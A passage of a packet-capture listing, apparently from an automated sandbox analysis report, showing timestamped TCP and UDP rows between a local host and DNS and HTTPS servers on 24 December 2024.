Dec 24, 2024 19:28:54.275723934 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:54.275728941 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:54.277376890 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:54.277380943 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:54.374749899 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:54.375370026 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:54.375386953 CET	443	50110	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:54.375457048 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:54.375457048 CET	50110	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:55.185190916 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:55.185270071 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:55.185276985 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:55.185326099 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:55.185456038 CET	50117	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:55.185496092 CET	443	50117	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:57.141520023 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:57.141607046 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:57.141700983 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:57.148907900 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:57.148988008 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:57.149029016 CET	50052	443	192.168.2.6	23.44.203.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 19:26:59.652141094 CET	59011	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:26:59.897907972 CET	53	59011	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:37.444346905 CET	52921	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:27:37.583091974 CET	53	52921	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:39.543375015 CET	53880	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:27:39.874469995 CET	53	53880	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:56.286474943 CET	53	65097	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:56.302912951 CET	53	57768	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:56.422966003 CET	54422	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:27:56.423118114 CET	55685	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:27:56.560391903 CET	53	54422	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:56.560415030 CET	53	55685	1.1.1.1	192.168.2.6
Dec 24, 2024 19:27:59.034697056 CET	53	51593	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:00.538826942 CET	53	59678	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:01.223457098 CET	53	59078	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:21.552251101 CET	52574	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:21.552359104 CET	64945	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:21.689524889 CET	53	64945	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:23.948728085 CET	56667	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:23.949038029 CET	55292	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:24.487586021 CET	62868	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:24.487981081 CET	58102	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:24.624630928 CET	53	62868	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:24.814085960 CET	53	58102	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.018891096 CET	49623	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.019294024 CET	54515	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.022005081 CET	59142	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.022485018 CET	59696	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.033370972 CET	53419	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.033798933 CET	55816	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.157049894 CET	53	49623	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.157109976 CET	53	54515	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.160084009 CET	53	59142	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.160903931 CET	53	59696	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.171585083 CET	53	53419	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.171863079 CET	53	55816	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.623245955 CET	53137	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.623352051 CET	54556	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.634798050 CET	51764	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.634932041 CET	60855	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.760341883 CET	53	54556	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.760910988 CET	53	53137	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.763448954 CET	63240	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.763608932 CET	60472	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.902831078 CET	53	60472	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:26.908133984 CET	60678	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:26.908287048 CET	56516	53	192.168.2.6	1.1.1.1
Dec 24, 2024 19:28:27.045588017 CET	53	56516	1.1.1.1	192.168.2.6
Dec 24, 2024 19:28:28.673049927 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.166798115 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.227776051 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.537197113 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.783471107 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.794567108 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.794585943 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.794667959 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.794682026 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.802707911 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.803878069 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.804307938 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.805818081 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.814917088 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.097486973 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121190071 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121264935 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121274948 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121290922 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121299982 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121309042 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.121613026 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.121742010 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.122476101 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.130270958 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.131922007 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.132087946 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.151933908 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.316623926 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.316665888 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.316678047 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.316886902 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.317373037 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.318594933 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.325211048 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.435455084 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.463840961 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.466448069 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.646193027 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.646291018 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.646301985 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.646311998 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.646851063 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.646935940 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.650347948 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.652007103 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.665643930 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.666316032 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.960866928 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.997117043 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:31.961328030 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:31.961498976 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:31.984811068 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:31.984965086 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:32.276895046 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.277733088 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.277956963 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.278366089 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:32.279196024 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.279402971 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.300685883 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.301060915 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.301848888 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.301951885 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:32.302345991 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:32.584881067 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.585591078 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.192418098 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.192620993 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.379097939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.379144907 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.382493019 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.382519007 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.382539988 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.382566929 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.384042025 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.385709047 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.386077881 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.386399031 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.388762951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.388804913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.388822079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.388875008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.389600992 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.389947891 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.390229940 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.390388966 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.390424013 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.390650988 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.507263899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.507517099 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:33.507782936 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.507931948 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.000858068 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000875950 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000889063 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000902891 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000916004 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000929117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000943899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000958920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000976086 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.000989914 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001003027 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001015902 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001029968 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001697063 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.001703978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001718044 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001805067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001820087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001837015 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001853943 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.001868963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002240896 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.002559900 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.002563000 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002870083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002887011 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002912045 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002928019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002943993 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.002960920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003006935 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003030062 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003046036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003056049 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.003063917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003103018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003118992 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003142118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003180027 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.003515959 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.003722906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003750086 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003765106 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003778934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003793955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003809929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003824949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003842115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.003856897 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.004059076 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.004354954 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006134033 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006426096 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006478071 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006522894 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006601095 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006649017 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006817102 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006905079 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.006951094 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.007057905 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.007158041 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.015033960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.015048981 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.015065908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.017123938 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.017251015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.022303104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.036057949 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.060746908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.060825109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.060843945 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.060905933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.064136028 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.064498901 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.072190046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.072294950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.072539091 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.084367037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.088699102 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.194544077 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.207047939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.278959036 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.302709103 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.321367979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.321619034 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.329336882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.332721949 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.337413073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.344322920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.345540047 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.352111101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.358424902 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.363197088 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.364631891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.372406960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.372746944 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.377892017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.385751009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.386090040 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.392539978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.398510933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.399576902 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.404427052 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.410312891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.415031910 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.416532040 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.422146082 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.429049015 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.432349920 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.435225964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.436575890 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.441138029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.447251081 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.452878952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.459160089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.465888023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.471523046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.478874922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.483200073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.486984015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.487329960 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.487373114 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.487426996 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.489420891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.496288061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.497256994 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.502485037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.510941982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.514518976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.514776945 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.520647049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.523910999 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.525682926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.545279980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.545299053 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.545315981 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.545589924 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.545674086 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.550782919 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.557601929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.557796001 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.592953920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.592978001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.592994928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.593112946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.593128920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.593231916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.593276024 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.593338013 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.593401909 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.598797083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.605885029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.606092930 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.615724087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.618429899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.618856907 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.623589993 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.634262085 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.634505987 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.638580084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.641279936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.646672964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.653773069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.658977985 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.664335966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.664582968 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.669593096 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.675278902 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.683386087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.684644938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.690593004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.696007013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.696254015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.701421976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.706298113 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.714236975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.716907978 CET	443	54108	23.209.72.39	192.168.2.6
